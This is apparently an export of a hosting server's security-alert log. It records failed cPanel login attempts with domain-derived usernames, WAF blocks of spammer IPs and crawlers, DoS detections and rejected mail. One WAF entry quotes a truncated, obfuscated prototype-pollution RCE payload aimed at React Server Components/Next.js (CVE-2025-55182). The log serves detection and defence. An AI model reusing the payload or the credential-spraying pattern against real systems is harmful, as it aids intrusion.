[2026-06-26 02:11:16 +0000] info [cpaneld] 68.192.120.239 - fes "GET /login/?login_only=1&user=fes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.161.173.88
country_id: 6252001
description:
[2026-06-26 02:11:58 +0000] info [cpaneld] 70.161.173.88 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.175.125.59
country_id: 6252001
description:
[2026-06-26 02:12:13 +0000] info [cpaneld] 71.175.125.59 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.96.106.244
country_id: 6252001
description:
[2026-06-26 02:12:18 +0000] info [cpaneld] 191.96.106.244 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.149.110.116
country_id: 6252001
description:
[2026-06-26 02:12:21 +0000] info [cpaneld] 73.149.110.116 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 199.122.108.45
country_id: 6252001
description:
[2026-06-26 02:13:32 +0000] info [cpaneld] 199.122.108.45 - ucoa "GET /login/?login_only=1&user=ucoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.15.82.52
country_id: 6252001
description:
[2026-06-26 02:13:44 +0000] info [cpaneld] 212.15.82.52 - lesnidsurbains "GET /login/?login_only=1&user=lesnidsurbains&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsurbains (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.242.72.120
country_id: 6252001
description:
[2026-06-26 02:14:01 +0000] info [cpaneld] 76.242.72.120 - lesni "GET /login/?login_only=1&user=lesni&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesni (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.91.79.52
country_id: 6252001
description:
[2026-06-26 02:13:26 +0000] info [cpaneld] 71.91.79.52 - ucoang "GET /login/?login_only=1&user=ucoang&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoang (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 20.77.9.106
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 20.77.9.106: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.219.252
country_id: 6252001
description:
[2026-06-26 02:13:47 +0000] info [cpaneld] 172.59.219.252 - lesnidsurbainstg "GET /login/?login_only=1&user=lesnidsurbainstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsurbainstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.20.123.60
country_id: 6252001
description:
[2026-06-26 02:14:07 +0000] info [cpaneld] 50.20.123.60 - les "GET /login/?login_only=1&user=les&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user les (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.120.107.84
country_id: 6252001
description:
[2026-06-26 02:14:51 +0000] info [cpaneld] 69.120.107.84 - ccl "GET /login/?login_only=1&user=ccl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ccl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.38.191.180
country_id: 6252001
description:
[2026-06-26 02:14:48 +0000] info [cpaneld] 71.38.191.180 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.72.95
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-15.152.232.72.95||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.4.229
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-15.138.59.4.229||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.198
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-16.168.196.239.198||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.92.146.252
country_id: 1819730
description:
Denial of Service (DoS) attack was discovered from 34.92.146.252: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.77
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-16.168.196.239.77||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.219.123.243
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-17.138.219.123.243||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.5.15
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-16.138.59.5.15||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.231.183
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-16.161.115.231.183||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.229.41.250
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-16.23.229.41.250||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.127.8.190
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-16.209.127.8.190||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.66.89.31
country_id: 6252001
description:
[2026-06-26 02:17:31 +0000] info [cpaneld] 153.66.89.31 - camegtogo "GET /login/?login_only=1&user=camegtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogo (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.127.8.173
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-17.209.127.8.173||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.72.241
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-17.152.232.72.241||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.62.73.42
country_id: 6252001
description:
[2026-06-26 02:17:43 +0000] info [cpaneld] 73.62.73.42 - camegto "GET /login/?login_only=1&user=camegto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegto (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.47.76.51
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 34.47.76.51: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.56.59.161
country_id: 6252001
description:
[2026-06-26 02:17:58 +0000] info [cpaneld] 136.56.59.161 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.185.109.218
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-17.190.185.109.218||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.49.138.138
country_id: 6252001
description:
[2026-06-26 02:17:34 +0000] info [cpaneld] 216.49.138.138 - camegtogotg "GET /login/?login_only=1&user=camegtogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogotg (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.151.42
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:148.135.151.42||TA:148.135.151.42||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.184.247.147
country_id: 6252001
description:
[2026-06-26 02:17:53 +0000] info [cpaneld] 73.184.247.147 - came "GET /login/?login_only=1&user=came&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user came (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.183.157.212
country_id: 6252001
description:
[2026-06-26 02:18:57 +0000] info [cpaneld] 98.183.157.212 - perfectl "GET /login/?login_only=1&user=perfectl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectl (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.192.177.127
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.192.177.127: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.218.82
country_id: 6252001
description:
[2026-06-26 02:18:42 +0000] info [cpaneld] 172.59.218.82 - afriqu "GET /login/?login_only=1&user=afriqu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriqu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.29.119
country_id: 6252001
description:
[2026-06-26 02:18:44 +0000] info [cpaneld] 172.56.29.119 - afriq "GET /login/?login_only=1&user=afriq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 150.195.149.111
country_id: 6252001
description:
[2026-06-26 02:18:53 +0000] info [cpaneld] 150.195.149.111 - perfectlabocom "GET /login/?login_only=1&user=perfectlabocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectlabocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.55.225.200
country_id: 6252001
description:
[2026-06-26 02:18:59 +0000] info [cpaneld] 136.55.225.200 - perfect "GET /login/?login_only=1&user=perfect&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfect (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.54.243.204
country_id: 6252001
description:
[2026-06-26 02:19:07 +0000] info [cpaneld] 98.54.243.204 - perfe "GET /login/?login_only=1&user=perfe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.252.248.97
country_id: 6252001
description:
[2026-06-26 02:18:33 +0000] info [cpaneld] 24.252.248.97 - afriquedistributionnet "GET /login/?login_only=1&user=afriquedistributionnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriquedistributionnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.34.138.200
country_id: 6252001
description:
[2026-06-26 02:18:53 +0000] info [cpaneld] 98.34.138.200 - af "GET /login/?login_only=1&user=af&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user af (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.2.249.222
country_id: 6252001
description:
[2026-06-26 02:19:18 +0000] info [cpaneld] 100.2.249.222 - pe "GET /login/?login_only=1&user=pe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.170.162
country_id: 6252001
description:
[2026-06-26 02:19:13 +0000] info [cpaneld] 172.59.170.162 - perf "GET /login/?login_only=1&user=perf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.103.229.254
country_id: 2635167
description:
[2026-06-26 02:19:15 +0000] info [whostmgrd] 212.103.229.254 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 117.44.86.137
country_id: 1814991
description:
2026-06-26 02:20:39 H=([117.44.86.137]) [117.44.86.137]:9032 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.131.27.98
country_id: 6252001
description:
[2026-06-26 02:21:33 +0000] info [cpaneld] 68.131.27.98 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.228.211.158
country_id: 660013
description:
Denial of Service (DoS) attack was discovered from 35.228.211.158: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.233.73.62
country_id: 6252001
description:
[2026-06-26 02:21:46 +0000] info [cpaneld] 67.233.73.62 - fastsolu "GET /login/?login_only=1&user=fastsolu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolu (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: mail.moodle.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"ns_0608dcd5\":0,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var orz=arguments['\\\\x31'];var tomkc=orz;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.17.85.6
country_id: 3175395
description:
Denial of Service (DoS) attack was discovered from 34.17.85.6: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.139.113
country_id: 2077456
domain: www.fbafrica.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:92.113.139.113||TA:92.113.139.113||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.201.0.51
country_id: 290291
description:
[2026-06-26 02:24:06 +0000] info [cpaneld] 88.201.0.51 - mediat "GET /login/?login_only=1&user=mediat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.189.138
country_id: 6252001
description:
[2026-06-26 02:23:40 +0000] info [cpaneld] 172.59.189.138 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.78.74
country_id: 3895114
description:
[2026-06-26 02:24:02 +0000] info [cpaneld] 186.189.78.74 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.154.104.143
country_id: 6252001
description:
[2026-06-26 02:23:58 +0000] info [cpaneld] 73.154.104.143 - ar "GET /login/?login_only=1&user=ar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.130.124.143
country_id: 6252001
description:
[2026-06-26 02:23:14 +0000] info [cpaneld] 97.130.124.143 - cenitogo "GET /login/?login_only=1&user=cenitogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cenitogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.115.128.14
country_id: 6252001
description:
[2026-06-26 02:23:31 +0000] info [cpaneld] 146.115.128.14 - ceni "GET /login/?login_only=1&user=ceni&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceni (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.104.141.158
country_id: 6252001
description:
[2026-06-26 02:23:49 +0000] info [cpaneld] 68.104.141.158 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.245.165.135
country_id: 3996063
description:
[2026-06-26 02:23:53 +0000] info [cpaneld] 189.245.165.135 - mediatopnews "GET /login/?login_only=1&user=mediatopnews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.61.26.250
country_id: 6252001
description:
[2026-06-26 02:23:33 +0000] info [cpaneld] 71.61.26.250 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 8.242.189.53
country_id: 3686110
description:
[2026-06-26 02:23:56 +0000] info [cpaneld] 8.242.189.53 - mediatopnewstg "GET /login/?login_only=1&user=mediatopnewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.18.48.175
country_id: 6252001
description:
[2026-06-26 02:23:22 +0000] info [cpaneld] 174.18.48.175 - cenitog "GET /login/?login_only=1&user=cenitog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cenitog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.159.220.244
country_id: 690791
description:
[2026-06-26 02:23:51 +0000] info [cpaneld] 178.159.220.244 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.244.74.230
country_id: 2017370
description:
[2026-06-26 02:23:59 +0000] info [cpaneld] 91.244.74.230 - mediatop "GET /login/?login_only=1&user=mediatop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.183.29.75
country_id: 3865483
description:
[2026-06-26 02:24:16 +0000] info [cpaneld] 190.183.29.75 - med "GET /login/?login_only=1&user=med&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user med (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 168.196.237.16
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:168.196.237.16||TA:168.196.237.16||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.188.172.225
country_id: 6252001
description:
[2026-06-26 02:24:22 +0000] info [cpaneld] 98.188.172.225 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.187.23.136
country_id: 6252001
description:
[2026-06-26 02:24:36 +0000] info [cpaneld] 70.187.23.136 - spro "GET /login/?login_only=1&user=spro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.4.255.240
country_id: 3865483
description:
[2026-06-26 02:24:20 +0000] info [cpaneld] 45.4.255.240 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.180.1.171
country_id: 6252001
description:
[2026-06-26 02:24:26 +0000] info [cpaneld] 97.180.1.171 - sproca "GET /login/?login_only=1&user=sproca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.51.1.174
country_id: 6252001
description:
[2026-06-26 02:27:40 +0000] info [cpaneld] 45.51.1.174 - mondeai "GET /login/?login_only=1&user=mondeai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mondeai (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.54.131
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:162.252.54.131||TA:162.252.54.131||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.18.46.12
country_id: 6252001
description:
[2026-06-26 02:27:36 +0000] info [cpaneld] 108.18.46.12 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 117.44.86.137
country_id: 1814991
description:
2026-06-26 02:29:48 H=([117.44.86.137]) [117.44.86.137]:9177 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.238.166
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-29.168.196.238.166||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.238.48
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-30.168.196.238.48||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.68.93
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-29.152.232.68.93||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.127.8.136
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-30.209.127.8.136||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.5.102
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-30.138.59.5.102||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.73.74
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-30.152.232.73.74||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.219.122.116
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-30.138.219.122.116||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.243.137.35
country_id: 1562822
domain: chatmerce.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chatmerce.free.netmaster.tg/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.229.49.225
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-30.23.229.49.225||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.231.245.243
country_id: 6252001
description:
[2026-06-26 02:31:37 +0000] info [cpaneld] 68.231.245.243 - bes "GET /login/?login_only=1&user=bes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bes (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.147.8.160
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-31.45.147.8.160||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.111.185.221
country_id: 6252001
description:
[2026-06-26 02:31:20 +0000] info [cpaneld] 68.111.185.221 - besteva1com "GET /login/?login_only=1&user=besteva1com&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user besteva1com (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.85.241.183
country_id: 6252001
description:
[2026-06-26 02:31:34 +0000] info [cpaneld] 67.85.241.183 - best "GET /login/?login_only=1&user=best&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user best (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.130.189.148
country_id: 6252001
description:
[2026-06-26 02:31:31 +0000] info [cpaneld] 65.130.189.148 - beste "GET /login/?login_only=1&user=beste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user beste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.62.94.171
country_id: 6252001
description:
